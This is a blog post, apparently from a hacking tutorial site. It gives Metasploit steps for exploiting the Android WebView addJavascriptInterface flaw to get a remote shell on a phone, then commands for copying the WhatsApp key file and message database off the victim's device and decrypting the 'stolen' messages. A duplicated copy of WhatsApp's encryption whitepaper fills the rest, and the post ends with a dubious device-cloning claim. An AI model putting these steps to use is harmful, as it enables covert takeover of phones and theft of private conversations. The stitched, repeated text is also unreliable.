Required: Kali Linux with Metasploit
Windows 7 or better
We're going to utilize here Android WebView addJavascriptInterface Vulnerability
Windows 7 or better
We're going to utilize here Android WebView addJavascriptInterface Vulnerability
Around 70% of all Android devices in the
field are subject to a Javascript exploit that could allow an attacker
remote access to your phone by doing nothing more than surfing to a
malicious page or scanning in a malicious QR Code.
Called the “Android WebView
addJavascriptInterface Vulnerability”, it works when untrusted
Javascript code is executed by a WebView on Android devices.
And here is the kicker, about 70% of Android devices (phones and tablets) are vulnerable to it!
This month Rapid7 added the exploit as a Metasploit Module, so let’s take a look at it using Kali Linux and Metasploit:
1. Run Metasploit from the Kali Menu, or type “msfconsole” at a terminal prompt.
2. Type, “use exploit /android/browser/webview_addjavascriptinterface”.
3. Then type, “show options” to see what needs to be set:
For the most part, you are good to go.
You can turn on SSL if you want, change the port or host address if you
want. But one variable I did change was URIPATH. By default it is
random, so I changed it to something easier to type in.
“Security” sounded reassuring.
4. Enter, “set URIPATH Security”:
5. Finally, type “exploit”:
A server is started on the Kali system that hosts a webpage containing the exploit. A URL is provided including the URI path.
Now if a vulnerable Android device surfs to our Metasploit module, sitting at 192.168.1.16:8080/Security in this demo, you get a remote session:
Now just connect to the session using “sessions -i 1”:
And that is it! You are connected to the Android device.
But on one Android Tablet that I tested,
something didn’t seem right. It allowed me to run some Linux commands
but not others. I could use “pwd” to see the current directory that I
was in, and I could surf to other directories with “cd”, but the “ls”
and other commands would not work:
Whenever I ran “ls”, to view the files in the directory, I would get a “<stdin>[2]: ls: not found” error.
A quick check of the path with “echo path” revealed that no path was set:
So I set it by typing, “export PATH=/system/bin:$PATH”:
Once the path was correctly set to point to the system files, “ls” and other commands worked without issue:
As you can see, I had a complete remote shell to the Android device.
All I had to do was visit a malicious
page using the built in Browser and the exploit ran with no further
warning or input from the Android device. To make matters worse, the URL
could be printed as a QR Code so that once it is scanned, it
automatically goes to the malicious page for true “click and pwn”.
So what can you do to protect yourself against this type of attack?
The exploit only works on versions of Android < 4.2. Which apparently is 70% of current devices…
Update your device to the latest version of Android (if it will update), check with your manufacturer for instructions.
Also, never scan in QR Codes from unknown sources.
But I did notice that one device I tested
wasn’t 4.2, it was a 4.0 version – and it was not vulnerable. But I
remembered that the Android Browser did have an update that I downloaded
before testing.
Not sure if this will be true for all devices, again the best course of action would be to update to the latest OS version.
As you can we have Root access to Android Device so you have to collect the key file in order to decrypt the WhatsApp Database so for that browse to /data/data/com.whatsapp/files/key so to do this use this command :
cp /data/data/com.whatsapp/files/key /sdcard
now as you have key file you will have to steal the database file with command:
pull /sdcard/WhatsApp/Databases/msgstore.db.crypt8
as you have the key file and the database now your work is almost complete swithover to Windows Engine and Download
this Tool WhatsApp Viewer
Once you download this give your stolen Crypt8 Database File and key file then you can view the messages
even the images still if you don't want to download it when go to this website http://whatcrypt.com/ and upload your key file
and Database so once it's decrypted you cn download it as Simple HTML.
More About WhatsApp Database and How to Hack WhatsApp using Kali Linux
This provides a technical explanation of WhatsApp’s
end-to-end encryption system .
WhatsApp Messenger allows people to exchange messages (including
chats, group chats, images, videos, voice messages and files) and make
WhatsApp calls around the world . WhatsApp messages and calls between
a sender and receiver that use WhatsApp client software released after
March 31, 2016 are end-to-end encrypted .
The Signal protocol, designed by Open Whisper Systems, is the basis for
WhatsApp’s end-to-end encryption . This end-to-end encryption protocol
is designed to prevent third parties and WhatsApp from having plaintext
access to messages or calls. What’s more, even if encryption keys
from a user’s device are ever physically compromised, they cannot be
used to go back in time to decrypt previously transmitted messages.
This document gives an overview of the Signal protocol and its use in
WhatsApp .
Public Key Types
• Identity Key Pair – A long-term Curve25519 key pair,
generated at install time .
• Signed Pre Key – A medium-term Curve25519 key pair,
generated at install time, signed by the Identity Key, and rotated
on a periodic timed basis .
• One-Time Pre Keys – A queue of Curve25519 key pairs for one
time use, generated at install time, and replenished as needed .
Session Key Types
• Root Key – A 32-byte value that is used to create Chain Keys .
• Chain Key – A 32-byte value that is used to create Message
Keys .
• Message Key – An 80-byte value that is used to encrypt message
contents. 32 bytes are used for an AES-256 key, 32 bytes for a
HMAC-SHA256 key, and 16 bytes for an IV.
Client Registration
At registration time, a WhatsApp client transmits its public Identity
Key, public Signed Pre Key (with its signature), and a batch of public
One-Time Pre Keys to the server . The WhatsApp server stores these
public keys associated with the user’s identifier. At no time does the
WhatsApp server have access to any of the client’s private keys.
Initiating Session Setup
To communicate with another WhatsApp user, a WhatsApp client
first needs to establish an encrypted session. Once the session
is established, clients do not need to rebuild a new session with
each other until the existing session state is lost through an
external event such as an app reinstall or device change .
To establish a session:
1 . The initiating client (“initiator”) requests the public Identity Key,
public Signed Pre Key, and a single public One-Time Pre Key
for the recipient .
2 . The server returns the requested public key values. A One-Time
Pre Key is only used once, so it is removed from server storage
after being requested . If the recipient’s latest batch of One-Time
Pre Keys has been consumed and the recipient has not replenished
them, no One-Time Pre Key will be returned .
3 . The initiator saves the recipient’s Identity Key as Irecipient, the
Signed Pre Key as Srecipient, and the One-Time Pre Key as
Orecipient .
4 . The initiator generates an ephemeral Curve25519 key pair, Einitiator .
5 . The initiator loads its own Identity Key as Iinitiator .
6 . The initiator calculates a master secret as master_secret =
ECDH(Iinitiator, Srecipient) || ECDH(Einitiator, Irecipient) ||
ECDH(Einitiator, Srecipient) || ECDH(Einitiator, Orecipient) .
If there is no One Time Pre Key, the final ECDH is omitted.
7 . The initiator uses HKDF to create a Root Key and Chain Keys
from the master_secret .
Receiving Session Setup
After building a long-running encryption session, the initiator can immediately start sending messages to the recipient, even if the recipient is offline.
Until the recipient responds, the initiator includes the information (in the
header of all messages sent) that the recipient requires to build a corresponding session . This includes the initiator’s Einitiator and Iinitiator .
When the recipient receives a message that includes session setup
information:
1 . The recipient calculates the corresponding master_secret using
its own private keys and the public keys advertised in the header of
the incoming message .
2 . The recipient deletes the One-Time Pre Key used by the initiator .
3 . The initiator uses HKDF to derive a corresponding Root Key and
Chain Keys from the master_secret .
Exchanging Messages
Once a session has been established, clients exchange messages
that are protected with a Message Key using AES256 in CBC
mode for encryption and HMAC-SHA256 for authentication .
The Message Key changes for each message transmitted, and is ephemeral, such that the Message Key used to
encrypt a message cannot be reconstructed from the session
state after a message has been transmitted or received .
The Message Key is derived from a sender’s Chain Key that
“ratchets” forward with every message sent. Additionally, a new ECDH
agreement is performed with each message roundtrip to create a new
Chain Key . This provides forward secrecy through the combination
of both an immediate “hash ratchet” and a round trip “DH ratchet.”
Calculating a Message Key from a Chain Key
Each time a new Message Key is needed by a
message sender, it is calculated as:
1 . Message Key = HMAC-SHA256(Chain Key, 0x01) .
2 . The Chain Key is then updated as Chain Key =
HMAC-SHA256(Chain Key, 0x02) .
This causes the Chain Key to “ratchet” forward, and
also means that a stored Message Key can’t be used to
derive current or past values of the Chain Key .
Calculating a Chain Key from a Root Key
Each time a message is transmitted, an ephemeral Curve25519
public key is advertised along with it. Once a response is received,
a new Chain Key and Root Key are calculated as:
1 . ephemeral_secret =
ECDH(Ephemeralsender, Ephemeralrecipient) .
2 . Chain Key, Root Key = HKDF(Root Key, ephemeral_secret) .
A chain is only ever used to send messages from one user, so
message keys are not reused. Because of the way Message Keys
and Chain Keys are calculated, messages can arrive delayed,
out of order, or can be lost entirely without any problems .
Transmitting Media and Other
Attachments
large attachments of any type (video, audio, images,
or files) are also end-to-end encrypted:
1 . The WhatsApp user sending a message (“sender”) generates an
ephemeral 32 byte AES256 key, and an ephemeral 32 byte HMACSHA256 key.
2 . The sender encrypts the attachment with the AES256 key in CBC
mode with a random IV, then appends a MAC of the ciphertext using
HMAC-SHA256 .
3 . The sender uploads the encrypted attachment to a blob store .
4 . The sender transmits a normal encrypted message to the recipient
that contains the encryption key, the HMAC key, a SHA256 hash of
the encrypted blob, and a pointer to the blob in the blob store .
5 . The recipient decrypts the message, retrieves the encrypted blob
from the blob store, verifies the SHA256 hash of it, verifies the MAC,
and decrypts the plaintext .
Group Messages
Traditional unencrypted messenger apps typically employ “server-side
fan-out” for group messages . A client wishing to send a message
to a group of users transmits a single message, which is then distributed N times to the N different group members by the server .
This is in contrast to “client-side fan-out,” where a client would transmit
a single message N times to the N different group members itself .
Messages to WhatsApp groups build on the pairwise encrypted
sessions outlined above to achieve efficient server-side fan-out for
most messages sent to groups . This is accomplished using the
“Sender Keys” component of the Signal Messaging protocol .
The first time a WhatsApp group member sends a message to a group:
1 . The sender generates a random 32-byte Chain Key .
2 . The sender generates a random Curve25519 Signature Key key
pair .
3 . The sender combines the 32-byte Chain Key and the public key
from the Signature Key into a Sender Key message .
4 . The sender individually encrypts the Sender Key to each member
of the group, using the pairwise messaging protocol explained previously .
For all subsequent messages to the group:
1 . The sender derives a Message Key from the Chain Key, and
updates the Chain Key .
2 . The sender encrypts the message using AES256 in CBC mode .
3 . The sender signs the ciphertext using the Signature Key .
4 . The sender transmits the single ciphertext message to the server,
which does server-side fan-out to all group participants .
The “hash ratchet” of the message sender’s Chain Key provides
forward secrecy . Whenever a group member leaves, all group
participants clear their Sender Key and start over .
Call Setup
WhatsApp calls are also end-to-end encrypted .
When a WhatsApp user initiates a call:
1 . The initiator builds an encrypted session with the recipient (as
outlined in Section Initiating Session Setup), if one does not already
exist .
2 . The initiator generates a random 32-byte SRTp master secret .
3 . The initiator transmits an encrypted message to the recipient that
signals an incoming call, and contains the SRTp master secret .
4 . If the responder answers the call, a SRTp encrypted call ensues .
Verifying Keys
WhatsApp users additionally have the option to verify the keys of
the other users with whom they are communicating so that they
are able to confirm that an unauthorized third party (or WhatsApp)
has not initiated a man-in-the-middle attack. This can be done
by scanning a QR code, or by comparing a 60-digit number .
The QR code contains:
1 . A version .
2 . The user identifier for both parties.
3 . The full 32-byte public Identity Key for both parties .
When either user scans the other’s QR code, the keys are
compared to ensure that what is in the QR code matches
the Identity Key as retrieved from the server .
The 60-digit number is computed by concatenating the two
30-digit numeric fingerprints for each user’s Identity
Key. To calculate a 30-digit numeric fingerprint:
1 . Iteratively SHA-512 hash the public Identity Key and user identifier 5200 times.
2 . Take the first 30 bytes of the final hash output.
3 . Split the 30-byte result into six 5-byte chunks.
4 . Convert each 5-byte chunk into 5 digits by interpreting each 5-byte
chunk as a big-endian unsigned integer and reducing it modulo
100000 .
5 . Concatenate the six groups of five digits into thirty digits.
Transport Security
All communication between WhatsApp clients and WhatsApp servers
is layered within a separate encrypted channel . On Windows phone,
iphone, and Android, those end-to-end encryption capable clients use
Noise pipes with Curve25519, AES-GCM, and SHA256 from the Noise
Protocol Framework for long running interactive connections.
This provides clients with a few nice properties:
1 . Extremely fast lightweight connection setup and resume .
2 . Encrypts metadata to hide it from unauthorized network observers.
No information about the connecting user’s identity is revealed .
3 . No client authentication secrets are stored on the server . Clients
authenticate themselves using a Curve25519 key pair, so the server
only stores a client’s public authentication key. If the server’s user
database is ever compromised, no private authentication credentials
will be revealed .
Conclusion
Messages between WhatsApp users are protected with an endto-end encryption protocol so that third parties and WhatsApp
cannot read them and so that the messages can only be decrypted
by the recipient . All types of WhatsApp messages (including
chats, group chats, images, videos, voice messages and files)
and WhatsApp calls are protected by end-to-end encryption .
WhatsApp servers do not have access to the private keys of
WhatsApp users, and WhatsApp users have the option to verify
keys in order to ensure the integrity of their communication.
The Signal protocol library used by WhatsApp is Open Source, available
here: https://github .com/whispersystems/libsignal-protocol-java/
So from where we can understand that WhatsApp , uses session key for each contact and it changes only when device is updated so if a hacker clones the device via Mac Address and IMEI code then It'll be a treasure box for him. wait for my next post :p
This provides a technical explanation of WhatsApp’s
end-to-end encryption system .
WhatsApp Messenger allows people to exchange messages (including
chats, group chats, images, videos, voice messages and files) and make
WhatsApp calls around the world . WhatsApp messages and calls between
a sender and receiver that use WhatsApp client software released after
March 31, 2016 are end-to-end encrypted .
The Signal protocol, designed by Open Whisper Systems, is the basis for
WhatsApp’s end-to-end encryption . This end-to-end encryption protocol
is designed to prevent third parties and WhatsApp from having plaintext
access to messages or calls. What’s more, even if encryption keys
from a user’s device are ever physically compromised, they cannot be
used to go back in time to decrypt previously transmitted messages.
This document gives an overview of the Signal protocol and its use in
WhatsApp .
Public Key Types
• Identity Key Pair – A long-term Curve25519 key pair,
generated at install time .
• Signed Pre Key – A medium-term Curve25519 key pair,
generated at install time, signed by the Identity Key, and rotated
on a periodic timed basis .
• One-Time Pre Keys – A queue of Curve25519 key pairs for one
time use, generated at install time, and replenished as needed .
Session Key Types
• Root Key – A 32-byte value that is used to create Chain Keys .
• Chain Key – A 32-byte value that is used to create Message
Keys .
• Message Key – An 80-byte value that is used to encrypt message
contents. 32 bytes are used for an AES-256 key, 32 bytes for a
HMAC-SHA256 key, and 16 bytes for an IV.
Client Registration
At registration time, a WhatsApp client transmits its public Identity
Key, public Signed Pre Key (with its signature), and a batch of public
One-Time Pre Keys to the server . The WhatsApp server stores these
public keys associated with the user’s identifier. At no time does the
WhatsApp server have access to any of the client’s private keys.
Initiating Session Setup
To communicate with another WhatsApp user, a WhatsApp client
first needs to establish an encrypted session. Once the session
is established, clients do not need to rebuild a new session with
each other until the existing session state is lost through an
external event such as an app reinstall or device change .
To establish a session:
1 . The initiating client (“initiator”) requests the public Identity Key,
public Signed Pre Key, and a single public One-Time Pre Key
for the recipient .
2 . The server returns the requested public key values. A One-Time
Pre Key is only used once, so it is removed from server storage
after being requested . If the recipient’s latest batch of One-Time
Pre Keys has been consumed and the recipient has not replenished
them, no One-Time Pre Key will be returned .
3 . The initiator saves the recipient’s Identity Key as Irecipient, the
Signed Pre Key as Srecipient, and the One-Time Pre Key as
Orecipient .
4 . The initiator generates an ephemeral Curve25519 key pair, Einitiator .
5 . The initiator loads its own Identity Key as Iinitiator .
6 . The initiator calculates a master secret as master_secret =
ECDH(Iinitiator, Srecipient) || ECDH(Einitiator, Irecipient) ||
ECDH(Einitiator, Srecipient) || ECDH(Einitiator, Orecipient) .
If there is no One Time Pre Key, the final ECDH is omitted.
7 . The initiator uses HKDF to create a Root Key and Chain Keys
from the master_secret .
Receiving Session Setup
After building a long-running encryption session, the initiator can immediately start sending messages to the recipient, even if the recipient is offline.
Until the recipient responds, the initiator includes the information (in the
header of all messages sent) that the recipient requires to build a corresponding session . This includes the initiator’s Einitiator and Iinitiator .
When the recipient receives a message that includes session setup
information:
1 . The recipient calculates the corresponding master_secret using
its own private keys and the public keys advertised in the header of
the incoming message .
2 . The recipient deletes the One-Time Pre Key used by the initiator .
3 . The initiator uses HKDF to derive a corresponding Root Key and
Chain Keys from the master_secret .
Exchanging Messages
Once a session has been established, clients exchange messages
that are protected with a Message Key using AES256 in CBC
mode for encryption and HMAC-SHA256 for authentication .
The Message Key changes for each message transmitted, and is ephemeral, such that the Message Key used to
encrypt a message cannot be reconstructed from the session
state after a message has been transmitted or received .
The Message Key is derived from a sender’s Chain Key that
“ratchets” forward with every message sent. Additionally, a new ECDH
agreement is performed with each message roundtrip to create a new
Chain Key . This provides forward secrecy through the combination
of both an immediate “hash ratchet” and a round trip “DH ratchet.”
Calculating a Message Key from a Chain Key
Each time a new Message Key is needed by a
message sender, it is calculated as:
1 . Message Key = HMAC-SHA256(Chain Key, 0x01) .
2 . The Chain Key is then updated as Chain Key =
HMAC-SHA256(Chain Key, 0x02) .
This causes the Chain Key to “ratchet” forward, and
also means that a stored Message Key can’t be used to
derive current or past values of the Chain Key .
Calculating a Chain Key from a Root Key
Each time a message is transmitted, an ephemeral Curve25519
public key is advertised along with it. Once a response is received,
a new Chain Key and Root Key are calculated as:
1 . ephemeral_secret =
ECDH(Ephemeralsender, Ephemeralrecipient) .
2 . Chain Key, Root Key = HKDF(Root Key, ephemeral_secret) .
A chain is only ever used to send messages from one user, so
message keys are not reused. Because of the way Message Keys
and Chain Keys are calculated, messages can arrive delayed,
out of order, or can be lost entirely without any problems .
Transmitting Media and Other
Attachments
large attachments of any type (video, audio, images,
or files) are also end-to-end encrypted:
1 . The WhatsApp user sending a message (“sender”) generates an
ephemeral 32 byte AES256 key, and an ephemeral 32 byte HMACSHA256 key.
2 . The sender encrypts the attachment with the AES256 key in CBC
mode with a random IV, then appends a MAC of the ciphertext using
HMAC-SHA256 .
3 . The sender uploads the encrypted attachment to a blob store .
4 . The sender transmits a normal encrypted message to the recipient
that contains the encryption key, the HMAC key, a SHA256 hash of
the encrypted blob, and a pointer to the blob in the blob store .
5 . The recipient decrypts the message, retrieves the encrypted blob
from the blob store, verifies the SHA256 hash of it, verifies the MAC,
and decrypts the plaintext .
Group Messages
Traditional unencrypted messenger apps typically employ “server-side
fan-out” for group messages . A client wishing to send a message
to a group of users transmits a single message, which is then distributed N times to the N different group members by the server .
This is in contrast to “client-side fan-out,” where a client would transmit
a single message N times to the N different group members itself .
Messages to WhatsApp groups build on the pairwise encrypted
sessions outlined above to achieve efficient server-side fan-out for
most messages sent to groups . This is accomplished using the
“Sender Keys” component of the Signal Messaging protocol .
The first time a WhatsApp group member sends a message to a group:
1 . The sender generates a random 32-byte Chain Key .
2 . The sender generates a random Curve25519 Signature Key key
pair .
3 . The sender combines the 32-byte Chain Key and the public key
from the Signature Key into a Sender Key message .
4 . The sender individually encrypts the Sender Key to each member
of the group, using the pairwise messaging protocol explained previously .
For all subsequent messages to the group:
1 . The sender derives a Message Key from the Chain Key, and
updates the Chain Key .
2 . The sender encrypts the message using AES256 in CBC mode .
3 . The sender signs the ciphertext using the Signature Key .
4 . The sender transmits the single ciphertext message to the server,
which does server-side fan-out to all group participants .
The “hash ratchet” of the message sender’s Chain Key provides
forward secrecy . Whenever a group member leaves, all group
participants clear their Sender Key and start over .
Call Setup
WhatsApp calls are also end-to-end encrypted .
When a WhatsApp user initiates a call:
1 . The initiator builds an encrypted session with the recipient (as
outlined in Section Initiating Session Setup), if one does not already
exist .
2 . The initiator generates a random 32-byte SRTp master secret .
3 . The initiator transmits an encrypted message to the recipient that
signals an incoming call, and contains the SRTp master secret .
4 . If the responder answers the call, a SRTp encrypted call ensues .
Verifying Keys
WhatsApp users additionally have the option to verify the keys of
the other users with whom they are communicating so that they
are able to confirm that an unauthorized third party (or WhatsApp)
has not initiated a man-in-the-middle attack. This can be done
by scanning a QR code, or by comparing a 60-digit number .
The QR code contains:
1 . A version .
2 . The user identifier for both parties.
3 . The full 32-byte public Identity Key for both parties .
When either user scans the other’s QR code, the keys are
compared to ensure that what is in the QR code matches
the Identity Key as retrieved from the server .
The 60-digit number is computed by concatenating the two
30-digit numeric fingerprints for each user’s Identity
Key. To calculate a 30-digit numeric fingerprint:
1 . Iteratively SHA-512 hash the public Identity Key and user identifier 5200 times.
2 . Take the first 30 bytes of the final hash output.
3 . Split the 30-byte result into six 5-byte chunks.
4 . Convert each 5-byte chunk into 5 digits by interpreting each 5-byte
chunk as a big-endian unsigned integer and reducing it modulo
100000 .
5 . Concatenate the six groups of five digits into thirty digits.
Transport Security
All communication between WhatsApp clients and WhatsApp servers
is layered within a separate encrypted channel . On Windows phone,
iphone, and Android, those end-to-end encryption capable clients use
Noise pipes with Curve25519, AES-GCM, and SHA256 from the Noise
Protocol Framework for long running interactive connections.
This provides clients with a few nice properties:
1 . Extremely fast lightweight connection setup and resume .
2 . Encrypts metadata to hide it from unauthorized network observers.
No information about the connecting user’s identity is revealed .
3 . No client authentication secrets are stored on the server . Clients
authenticate themselves using a Curve25519 key pair, so the server
only stores a client’s public authentication key. If the server’s user
database is ever compromised, no private authentication credentials
will be revealed .
Conclusion
Messages between WhatsApp users are protected with an endto-end encryption protocol so that third parties and WhatsApp
cannot read them and so that the messages can only be decrypted
by the recipient . All types of WhatsApp messages (including
chats, group chats, images, videos, voice messages and files)
and WhatsApp calls are protected by end-to-end encryption .
WhatsApp servers do not have access to the private keys of
WhatsApp users, and WhatsApp users have the option to verify
keys in order to ensure the integrity of their communication.
The Signal protocol library used by WhatsApp is Open Source, available
here: https://github .com/whispersystems/libsignal-protocol-java/
So from where we can understand that WhatsApp , uses session key for each contact and it changes only when device is updated so if a hacker clones the device via Mac Address and IMEI code then It'll be a treasure box for him. wait for my next post :p
Reference : whatsapp.com
Learn More : SQL Injection guide
Hi. I'm Dhirendra The Admin of this Blog I'm A Certified Ethical Hacker also a Web Developer With Programming Skills in various Programming Languages.
0 comments:
Post a Comment